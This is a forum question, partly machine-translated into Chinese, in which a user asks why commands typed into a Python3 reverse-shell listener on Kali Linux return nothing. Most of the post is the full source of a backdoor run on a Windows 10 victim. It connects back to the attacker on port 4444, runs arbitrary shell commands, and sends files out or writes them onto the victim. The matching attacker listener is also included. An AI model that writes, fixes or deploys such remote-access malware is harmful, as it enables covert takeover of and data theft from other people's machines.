python3后门错误“没有发生键入命令”

i am going to build a python3 backdoor. the connection between victim(using windows10) and my attacker machine(vbox kali linux 2020) is established by running the blew scrpits on victim and attacker machine respectively. On my attacker machine when i enter the commands like dir in console nothing happens it goe to next blank line. enter image description here

软件详细信息:

Python3

pycharm社区2020

我的后门代码

这是我在受害机器上运行的后门代码(禁用防火墙/防病毒)。

操作系统详细信息:

Windows 10 64x

#!/usr/bin/python

import socket
import subprocess
import json
import os
import base64


class Backdoor:

    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect(("192.168.10.8", 4444))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024)
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_system_commmand(self, command):
        return subprocess.check_output(command, shell=True)

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Change working directory to " + path

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[+] Upload Succesful"

    def read_file(self, path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())

    def run(self):
        global command_result
        while True:
            command = self.reliable_receive()

            try:
                if command[0] == "exit":
                    self.connection.close()
                    exit()
                elif command[0] == "cd" and len(command) > 1:
                    command_result = self.change_working_directory_to(command[1])
                elif command[0] == "download":
                    command_result = self.read_file(command[1])
                elif command[0] == "upload":
                    command_result = self.write_file(command[1], command[2])

                else:
                    command_result = self.execute_system_commmand(command)

            except Exception:
                command_result = "[-] Error during command Execution"
            self.reliable_send(command_result)


my_backdoor = Backdoor("192.168.10.8", 4444)
my_backdoor.run()

我的听众代码

这是我在攻击者机器上运行的lisner代码 操作系统详细信息

卡利Linux 2020

pycharm2020

#!/usr/bin/python

import socket
import json
import base64

from pip._vendor.distlib.compat import raw_input


class Listener:

    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print
        "[+] Waiting for Incoming Connection"
        self.connection, address = listener.accept()
        print
        "[+] Got a Connection from " + str(address)

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024)
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        if command[0] == "exit":
            self.connection.close()
            exit()

        return self.reliable_receive()

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[+] Download Succesful"

    def read_file(self, path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())

    def run(self):
        while True:
            command = raw_input(">> ")
            command = command.split(" ")

            try:

                if command[0] == "upload":
                    file_content = self.read_file(command[1])
                    command.append(file_content)

                result = self.execute_remotely(command)

                if command[0] == "download" and "[-] Error " not in result:
                    result = self.write_file(command[1], result)

            except Exception:
                result = "[-] Error during command execution"
        print(result)


my_listener = Listener("192.168.10.8", 4444)
my_listener.run()